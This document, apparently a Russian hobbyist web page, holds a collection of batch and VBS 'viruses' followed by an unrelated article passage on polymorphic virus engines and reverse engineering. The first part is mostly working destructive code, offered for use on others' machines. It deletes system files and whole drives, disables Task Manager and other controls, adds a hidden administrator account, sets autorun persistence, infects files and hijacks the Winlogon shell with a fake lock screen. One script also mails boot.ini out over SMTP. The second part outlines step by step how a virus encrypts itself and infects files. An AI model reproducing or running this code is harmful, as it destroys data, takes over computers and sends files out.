Код ошибки вируса

Простенькие вирусы:

Убирает рабочий стол 

@echo off 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul 

@echo off 
shutdown -s -t 1 -c «lol» >nul 

@echo off 
shutdown -r -t 1 -c «lol» >nul 

Запрещает запускать программы 

@echo off 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 

@echo off 
del «%SystemRoot%\Driver Cache\i386\driver.cab» /f /q >nul 

@echo off 
del «%SystemRoot%\Media» /q >nul

Запрещает заходить в панель управления

@echo off 
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer 
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши

del «%SystemRoot%Cursors*.*» >nul

Меняет название корзины

reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)

rd [Буква_Диск]: /s /q 

Удаляет все файлы в program files 

del c:Program Files/q

Убивает процесс explorer.exe

taskkill /f /im explorer.exe >nul

Создает миллион папок

FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере

del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul

Удаляет команду DEL

del %0

Будет открывать бесконечно Paint

:x

Start mspaint

goto x

Изменяет расширение всех ярлыков на .txt

assoc .lnk=.txt

Заражает Autoexec

copy «»%0″» «%SystemRoot%\system32\batinit.bat» >nul 

reg add «HKCU\SOFTWARE\Microsoft\Command Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%\syste m32\batinit.bat» /f >nul 

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)

@echo off

chcp 1251 
net user SUPPORT_388945a0 /delete 
net user hacker hack /add 
net localgroup Администраторы hacker /add 
net localgroup Пользователи SUPPORT_388945a0 /del 
reg add «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «support» /t reg_dword /d 0 y

сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)

rundll32 user,SwapMouseButton

Удаляет ядро системы

del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает 

не только в текущем каталоге, но и надкаталоге)

@echo off%[MrWeb]%

if ‘%1==’In_ goto MrWebin

if exist c:\MrWeb.bat goto MrWebru

if not exist %0 goto MrWeben

find «MrWeb»<%0>c:\MrWeb.bat

attrib +h c:\MrWeb.bat

:MrWebru

for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben

:MrWebin

if exist %2.bat goto MrWeben

type c:\MrWeb.bat>>%2.bat

echo start %2>>%2.bat%[MrWeb]%

:MrWeben

Вирус заражает *.JPG в текущем каталоге

@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:

У вашего ламера будет глючить компьютер. 

@echo off 

echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs 
echo do >> %systemdrive%\windows\system32\rundll32.vbs 
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs 
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs 
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs 
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32.dat» >> %systemdrive%\windows\system32\rundll32.vbs 
echo loop >> %systemdrive%\windows\system32\rundll32.vbs 
start %systemdrive%\windows\system32\rundll32.vbs 
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f 

Вирус который убивает Винду. Не проверяйте на своем компьютере=) 

@echo This virus created by LIZA 
@echo Virus: pcforumhack.ru™ Virus 
@echo Autor: LIZA 
@echo off 
echo Chr(39)>%temp%\temp1.vbs 
echo Chr(39)>%temp%\temp2.vbs 
echo on error resume next > %temp%\temp.vbs 
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp.vbs 
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp.vbs 
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0 
copy %¶§% %SystemRoot%\user32dll.bat 
reg add «hklm\Software\Microsoft\Windows\CurrentVersion\Run» /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoDrives /t REG_DWORD /d 67108863 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoViewOnDrive /t REG_DWORD /d 67108863 /f 
echo fso.deletefile «C:\ntldr»,1 >> %temp%\temp.vbs 
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoSelectDownloadDir» /d 1 /f 
reg add «HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown» /v «IExplorer» /d 0 /f 
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoFindFiles» /d 1 /f 
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoNavButtons» /d 1 /f 
echo fso.deletefolder «D:\Windows»,1 >> %temp%\temp.vbs 
echo fso.deletefolder «I:\Windows»,1 >> %temp%\temp.vbs 
echo fso.deletefolder «C:\Windows»,1 >> %temp%\temp.vbs 
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs 
echo fso.deletefile sr+»\system32\hal.dll»,1 >> %temp%\temp.vbs 
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs 
echo fso.deletefolder sr+»\system32\dllcache»,1 >> %temp%\temp.vbs 
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs 
echo fso.deletefolder sr+»\system32\drives»,1 >> %temp%\temp.vbs 
echo s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»forum.whack.ru™»>>%temp%\temp.vbs 
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner»,»forum.whack.ru™»>>%temp%\temp.vbs 
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization»,»forum.whack.ru™»>>%temp%\temp.vbs 
echo on error resume next > %temp%\temp1.vbs 
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp1.vbs 
echo do>>%temp%\temp1.vbs 
echo fso.getfile («A:\»)>>%temp%\temp1.vbs 
echo loop>>%temp%\temp1.vbs 
echo on error resume next > %temp%\temp2.vbs 
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp2.vbs 
echo do>>%temp%\temp2.vbs 
echo execute»S.Run «»%comspec% /c echo «» & Chr(7), 0, True»>>%temp%\temp2.vbs 
echo loop>>%temp%\temp2.vbs 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disabletaskmgr /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disableregistrytools /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum» /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoNetworkConnections /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v StartmenuLogoff /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoCommonGroups /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFavoritesMenu /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRecentDocsMenu /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSetFolders /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoAddPrinter /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFind /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMHelp /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRun /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoClose /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoChangeStartMenu /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyDocs /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyPictures /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f 
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoControlPanel /t REG_DWORD /d 1 /f 
echo set application=createobject(«shell.application»)>>%temp%\temp.vbs 
echo application.minimizeall>>%temp%\temp.vbs 
reg add «hklm\Software\Microsoft\Windows\CurrentVersion\run» /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f 
start rundll32 user32, SwapMouseButton 
reg add «HKCR\exefile\shell\open\command» /ve /t REG_SZ /d rundll32.exe /f 
echo i=50 >> %temp%\temp.vbs 
echo while i^>0 or i^<0 >> %temp%\temp.vbs 
echo S.popup «forum.whack.ru™»,0, «forum.whack.ru™»,0+16 >> %temp%\temp.vbs 
echo i=i-1 >> %temp%\temp.vbs 
echo wend >> %temp%\temp.vbs 
echo do >> %temp%\temp.vbs 
echo wscript.sleep 200 >> %temp%\temp.vbs 
echo s.sendkeys»{capslock}» >> %temp%\temp.vbs 
echo wscript.sleep 200 >> %temp%\temp.vbs 
echo s.sendkeys»{numlock}» >> %temp%\temp.vbs 
echo wscript.sleep 200 >> %temp%\temp.vbs 
echo s.sendkeys»{scrolllock}» >> %temp%\temp.vbs 
echo loop>> %temp%\temp.vbs 
echo Set oWMP = CreateObject(«WMPlayer.OCX.7») >> %temp%\temp.vbs 
echo Set colCDROMs = oWMP.cdromCollection >> %temp%\temp.vbs 
echo if colCDROMs.Count ^>= 1 then >> %temp%\temp.vbs 
echo For i = 0 to colCDROMs.Count — 1 >> %temp%\temp.vbs 
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs 
echo next >> %temp%\temp.vbs 
echo End If >> %temp%\temp.vbs 
echo Call SendPost(«smtp.mail.ru», «forum.whack.ru™@mail.ru», «support@mail.ru», «…», «Копм заражен!») >> %temp%\temp.vbs 
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs 
echo Set iMsg = CreateObject(«CDO.Message») >> %temp%\temp.vbs 
echo Set iConf = CreateObject(«CDO.Configuration») >> %temp%\temp.vbs 
echo Set Flds = iConf.Fields >> %temp%\temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendusing») = 2 >> %temp%\temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpauthenticate») = 1 >> %temp%\temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendusername») = «support» >> %temp%\temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendpassword») = «support» >> %temp%\temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpserver») = «smtp.mail.ru» >> %temp%\temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpserverport») = 25 >> %temp%\temp.vbs 
echo Flds.Update >> %temp%\temp.vbs 
echo iMsg.Configuration = iConf >> %temp%\temp.vbs 
echo iMsg.To = strTo >> %temp%\temp.vbs 
echo iMsg.From = strFrom >> %temp%\temp.vbs 
echo iMsg.Subject = strSubject >> %temp%\temp.vbs 
echo iMsg.TextBody = strBody >> %temp%\temp.vbs 
echo iMsg.AddAttachment «c:\boot.ini» >> %temp%\temp.vbs 
echo iMsg.Send >> %temp%\temp.vbs 
echo End Function >> %temp%\temp.vbs 
echo Set iMsg = Nothing >> %temp%\temp.vbs 
echo Set iConf = Nothing >> %temp%\temp.vbs 
echo Set Flds = Nothing >> %temp%\temp.vbs 

echo s.run «shutdown -r -t 0 -c «»pcforumhack.ru™»» -f»,1 >> %temp%\temp.vbs 
start %temp%\temp.vbs 
start %temp%\temp1.vbs 
start %temp%\temp2.vbs 

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)

@echo off 
CHCP 1251 
cls 
Set Yvaga=На вашем компьютере найден вирус. 
Set pass=Пароль 
Set pas=Введите пароль. 
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль 
Set dim=Выключаю вирус… 
title Внимание!!! 
CHCP 866 
IF EXIST C:\windows\boot.bat ( 
goto ok ) 
cls 
IF NOT EXIST C:\windows\boot.bat ( 
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg 
ECHO. >> C:\0.reg 
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg 
ECHO. >> C:\0.reg 
ECHO «Shell»=»Explorer.exe, C:\\windows\\boot.bat » >> C:\0.reg 
start/wait regedit -s C:\0.reg 
del C:\0.reg 
ECHO @echo off >>C:\windows\boot.bat 
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat 
ECHO reg add «HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system» /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat 
ECHO start sys.bat >>C:\windows\boot.bat 
attrib +r +a +s +h C:\windows\boot.bat 
copy virus.bat c:\windows\sys.bat 
attrib +r +a +s +h C:\windows\sys.bat 
GOTO end) 
:ok 
cls 
Echo %Yvaga% 
echo. 
echo %virus% 
echo %pas% 
set /a choise = 0 
set /p choise=%pass%: 
if «%choise%» == «101» goto gold 
if «%choise%» == «200393» goto status 
exit 
:status 
echo %dim% 
attrib -r -a -s -h C:\windows\boot.bat 
del C:\windows\boot.bat 
attrib -r -a -s -h C:\windows\sys.bat 
del C:\windows\sys.bat 
cls 
:gold 
start C:\ 
:end

Добавляет программу в автозагрузку ОС

copy «»%0″» «%SystemRoot%\system32\File.bat» 
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.

@Echo off 

Echo Virus Loading 

Date 13.09.96 

If exist c:ski.bat goto abc 

Copy %0 c:ski.bat 

Attrib +h c:ski.bat 

Echo c:ski.bat >>autoexec.bat 

:abc 

md PRIDUROK 

md LUZER 

md DURAK 

md LAMER 

Label E: PRIDUROK 

assoc .exe=.mp3 

del c:Program Files/q 

Echo VIRUS LOAD 


Категория: Мои статьи | Добавил: drak-zp

Как и обещал в прошлой части, продолжим рассмотрение вирусных движков. На этот раз речь пойдет о полиморфизме исполняемого кода. Полиморфизм для компьютерных вирусов означает, что каждый новый зараженный файл содержит в себе новый код вируса-потомка. Чисто теоретически, для антивируса это должно было бы означать настоящий кошмар. Если бы существовал вирус, который в каждом новом поколении на 100% менял бы свой код, причем по настоящему случайным образом, никакой сигнатурный анализ не смог бы его детектировать.

Возможно, где-то есть супер-программист, который действительно написал такой код, и именно поэтому мы про него ничего не знаем. Мне не очень в это верится, и даже кажется, что математики, занимающиеся математическим обоснованием работы вычислительных систем, могли бы доказать, что не существует такого определенного алгоритма полиморфизма, результат работы которого нельзя было бы стопроцентно детектировать при помощи другого определенного алгоритма. Но мы — люди простые, нам просто интересна идея кода, который сам себя изменяет, а в свете «алгоритм против алгоритма», рассмотрение противостояния методов сокрытия исполняемого кода методам детектирования для программиста должно быть весьма интересным.

Вспоминаем и немного дополняем первую статью

Вспомню наших героев из первой статьи: вирмейкера и программиста антивирусной компании и прицеплю к ним их кармических близнецов: разработчика навесной защиты и крэкера. Первые стараются скрыть исполняемый код и информацию о нем, вторые — получить доступ к характерному коду и его внутренним алгоритмам. В вирусной области превалируют автоматические методы (вирусный движок и антивирусный детектор), в области защиты — ручные (параметры навесной защиты контролируются вручную, процесс взлома софта также является ручной работой, несмотря на обилие вспомогательного софта).

По итогам первой статьи у нас есть вирус, умеющий корректно заражать исполняемый файл (т.е. умеет при запуске файла отработать сам и корректно выполнить код самого файла) и антивирусный детектор, который знает, что вирус размещается в строго определённых местах файла, и что на некотором расстоянии от характерной точки (от точки входа, от начала секции, от конца заголовка) существует фиксированный набор байт, который характеризует данный вирус. Также, чтобы статья не съезжала в обсуждение тем «что плохого делает вирус», давайте договоримся, что payload вирусa ничего не делает. Так можно отсеять все обсуждения касательно характера действий рассматриваемого кода и сосредоточиться на методах детектирования и сокрытия.

Продолжаем вспоминать и дополнять первую статью. Схему противостояния вируса и антивируса можно по аналогии рассмотреть с точки зрения взлома коммерческой программы. Вместо инфектора здесь работает собственно программа, «навешивающая» защиту на исполняемый файл. Она «портит» код самой программы, информацию, необходимую для его восстановления прячет в свое тело, и таким же хитрым способом, как и вирус, скрывая алгоритм своей работы, первым исполняет код защиты, который проверяет валидность серийного номера или время действия trial, и, затем, «починив» основную программу, передаёт ей управление. Крэкер в свою очередь исполняет роль антивируса, пытаясь добраться до внутреннего кода защиты и узнать его алгоритм. Получается, что он занимается тем же самым, что и авер, пытаясь найти (и сохранить) характерную часть кода. Разница лишь в том, что крэкер заберет весь оригинальный код и изготовит из него работоспособный файл, а авер найдет в нем характерный кусок и создаст сигнатуру.

Самым популярным способом снять такую защиту является dump образа программы в памяти на диск. Крэкер ищет момент, когда защита отработала, расшифровала и «починила» основную программу, и в памяти находится работоспособный образ кода этой основной программы. Фактически он ищет возможность остановить программу на так называемой OEP (Original Entry Point) — «старой» точке входа защищаемой программы. В этот момент образ в памяти можно сохранить на диск. Он, конечно, будет неработоспособен, но его можно починить, «перенастроив» Entry Point исполняемого файла так, чтобы он указывал на OEP, и, если программа в этот момент работоспособна, такой образ будет работать просто пропуская защиту (там есть еще много манипуляций с восстановлением вызовов внешних функций, многократным дампом на случай, если программа расшифровывается не полностью, и вообще, это тема для десятка статей, но главный принцип именно такой). Другим популярным способом является найти кусок кода, генерирующий серийный номер и, если это возможно, «выкусить» его, и сделать маленький исполняемый файл, генерирующий валидные серийные номера (keygen). Как мы увидим ниже, похожий образ действий не чужд и антивирусному детектору.

Еще мне нравится проводить аналогии с биологическими системами, я постараюсь сильно не обременять вас этим. Уж очень хочется поскорее увидеть искусственный разум и жизнь.

Дизассемблер и отладчик

Понимание основных принципов их работы является важным для рассмотрения области защиты исполняемого кода. Вы наверняка об этом что-то знаете, раз читаете эту статью, но всё равно — либо немного потерпите, либо просто пропустите этот раздел.

Дизассемблер принимает на вход либо исполняемый файл, либо абстрактный буфер с кодом и, что довольно важно, первый адрес, с которого нужно начать дизассемблирование. В случае исполняемого файла это, например, точка входа. Поставив указатель на первую инструкцию, дизассемблер, определяет, что это за инструкция, её длину в байтах, является ли она инструкцией перехода, какие регистры использует, на какие адреса в памяти ссылается и т.п. Если инструкция не является инструкцией перехода, дизассемблер переходит к следующей инструкции, переместив указатель вперед на длину инструкции. Если это безусловный JMP или CALL, дизассемблер перемещает указатель следующей инструкции туда, куда указывает адрес перехода. Если это условный переход (JZ, JNA и т.п.) то дизассемблер помечает следующими к рассмотрению сразу два адреса — адрес следующей инструкции и адрес, на который возможен переход. Если комбинация байт не распознается, процесс дизассемблирования данной ветви останавливается. Также необходимо упомянуть о том, что дизассемблер сохраняет информацию о том, какие инструкции ссылаются на данную(!), что позволяет определять вызовы функций, и, самое главное, кто их вызывает.

Дизассемблер превращает последовательность байт в последовательность многосвязных структур, в которых хранится информация о каждом байте инструкции: является ли конкретный байт частью опкода (кода операции), данными, адресом, на который откуда-то совершается переход и т.п. Каждая структура может содержать ссылки на одну или две следующих структуры и при этом являться объектом, на который ссылается произвольное число других структур (например первая инструкция функции, которая вызывается множество раз). Также, умные дизассемблеры могут следить за указателем стека, или уметь распознавать и корректно помечать для дизассемблирования такие конструкции, как: mov eax, 0x20056789; call eax; Плюс распознавать характерные функции по набору инструкций, устанавливать начальные точки для дизассемблирования вручную, комментировать отдельные инструкции и сохранять результат дизассемблирования на диск, т.к. операция построения графа вызовов и разметки структур весьма затратна, ну а возиться с одним файлом можно днями. Но, как мы рассмотрели ранее, возможна ситуация, когда на диске в файле переход ведет на зашифрованный буфер, и дизассемблер в этом случае генерирует кашу из инструкций или останавливается. В этом случае, надо заполучить этот зашифрованный буфер прямо в runtime, когда он открыто лежит в памяти, а для этого требуется отладчик.

Основная задача отладчика — остановить программу в самом интересном месте. Для этого используется несколько способов. Можно открыть память процесса, и вместо одной из инструкций вписать int 3 — в этом случае процессор, выполняя эту инструкцию сгенерирует исключение, а отладчик обработает его, откроет свое окно, восстановит оригинальную инструкцию и покажет, что находится в этой области памяти. Можно включить в процессоре флаг трассировки, и тогда процессор будет генерировать это исключение на каждой инструкции. Наконец, у процессора есть отладочные регистры, можно поместиь в них некоторый адрес, и процессор, получив доступ к памяти по этому адресу, остановится. Так что, например, поставив breakpoint на доступ к адресу начала зашифрованного буфера мы остановимся первый раз, когда декриптор начнет расшифрование и прочитает первый байт буфера, а второй раз, когда передаст туда управление. В этот момент содержимое буфера можно записать на диск, натравить на него дизассемблер и узнать все его секреты. В продвинутых защитах вообще не существует такого момента времени, когда в памяти лежит полный рабочий код программы — части кода расшифровываются кусками по мере надобности. В этих случаях реверсеру приходится собирать dump по кускам.

Защита от исследования кода

Тема защиты исполняемого кода от исследования достойна десятка статей, поэтому в рамках рассматриваемого вопроса остановимся лишь на нескольких моментах. Статическая защита кода от исследования представляет собой различные методы запутывания исполняемого кода и шифрование буферов с важными участками кода с последующим расшифрованием в runtime. Запутывание кода можно реализовать при помощи специальных, обфусцирующих код компиляторов, а шифрование — при помощи рассматриваемых ниже полиморфных движков (к которым с точки зрения кода относятся и коммерческие защиты).

Динамическая защита подразумевает, что программа может в runtime определить отлаживают ли её и предпринять в связи с этим некоторые действия. Например, прочитав буфер с собственным кодом программа может сравнить его контрольную сумму с эталонной, и, если отладчик вставил в код int 3 (см.выше), понять что её отлаживают или каким-то другим способом модифицировали её код. Но самый, пожалуй, надежный и переносимый способ понять, что тебя отлаживают — это измерение времени исполнения характерных участков кода. Смысл простой: измеряется время (в секундах, попугаях или тактах процессора) между инструкциями в некотором буфере, и, если оно больше некоторого порогового значения — значит в середине программу останавливали. Защита, поняв, что ее отлаживают, может, к примеру, игнорировать ветви, внутри которых может остановиться реверсер и тупо не срабатывать, а вирус, удалить себя из системы. Для борьбы с такими ситуациями реверсеры работают в контролируемых средах, которые можно легко воспроизвести — например в виртуальных машинах, для которых можно воспроизвести все, вплоть до параметров BIOS. Поэтому, исследуя код вируса или защиты необходимо помнить о том, что программа вполне может обнаружить факт исследования и сделать что-нибудь нехорошее.

Полиморфные движки или «код мельчал, движок крепчал»

Вернёмся к вирусным движкам. В определенный момент развития DOS, после появления кучи мега-актуальных на тот момент упаковщиков, программисты, кроме файлов, начали упаковывать все, что упаковывается. А «.exe» файлы занимают кучу места, причем довольно большая часть такого файла — исполняемый код со стабильным распределением частот групп байт, который наверняка хорошо жмется правильным алгоритмом. Поэтому первыми шагами к полиморфным движкам стали упаковщики.

Принцип работы упаковщика довольно прост:

  1. берем буфер с исполняемым кодом (кодовую секцию, например);
  2. упаковываем её;
  3. берем позиционно независимый код распаковщика и дополняем его правильными адресами начала и конца буфера с запакованным кодом;
  4. добавляем в конец распаковщика переход на OEP (первую инструкцию распакованного кода);
  5. размещаем распаковщик и буфер со сжатым кодом в исполняемом файле (правим размеры секций и/или EP).

Получившийся файл по размеру получается намного меньше, чем оригинальный. После появления новых, крутейших винчестеров с объёмом 100Мб это стало не столь актуально, но, упаковка открыла вирмейкерам и разработчикам защит много новых возможностей:

  • размер вируса (несмотря на наш крутейший винчестер в 100Мб) все таки важен. Если payload-код жирный и многофункциональный, то весь вирус будет труднее запихать в файл, особенно если используется что-то хитрее, чем дописывание в конец файла новой секции. Использование упаковки позволит почти весь большой и сложный код вируса упаковать в буфер, который в разы меньше оригинального размера
  • буфер с упакованным кодом необязательно располагать в секции с флагом исполнения. Для продвинутых инфекторов это очень важный фактор, ведь основное тело вируса можно спокойно положить куда угодно. После распаковки распаковщик должен позаботиться, чтобы в области памяти, в которую был распакован код, было разрешено исполнение. Именно поэтому Windows API, работающие с атрибутами доступа к памяти (всякие VirtualProtect, VirtualProtectEx, VirtualOuery и VirtualQuervEx) неизменно привлекают внимание эвристиков
  • ну и на сладкое, самое важное — вместо упаковки или после неё буфер с кодом можно зашифровать, а ключ положить в распаковщик. Теперь это будет не распаковщик, а декриптор. При каждом новом инфицировании (или навешивании защиты на исполняемый файл) буфер с кодом можно зашифровать при помощи нового ключа, и тогда буфер с кодом будет иметь совершенно новое содержание (разумеется при использовании хороших алгоритмов шифрования).:w В дальнейшем я не буду писать «упакован», но предполагаю, что упаковка может быть включена в процесс шифрования.

Ну вот он, собственно, и есть — первый полиморфный движок. Распишем поподробней примерный алгоритм инфицирования:

  1. Генерируем новый ключ шифрования.
  2. Берем код декриптора (где и как — поговорим позже, в простейшем случае тупо достаем готовый код из нашего тела).
  3. Внедряем в него (в код декриптора) наш новый ключ шифрования.
  4. Внедряем в код вируса передачу управления из файла-жертвы и обратно (пока код еще не зашифрован).
  5. Зашифровываем новым ключом наш большой буфер с кодом.
  6. Бесхитростно укладываем зашифрованный буфер в файл-жертву (он существенно отличается от предыдущего, поэтому можно особо не прятаться).
  7. Добавляем переход на начало зашифрованного буфера в конец декриптора.
  8. Хитро (насколько это возможно) укладываем декриптор в файл-жертву.

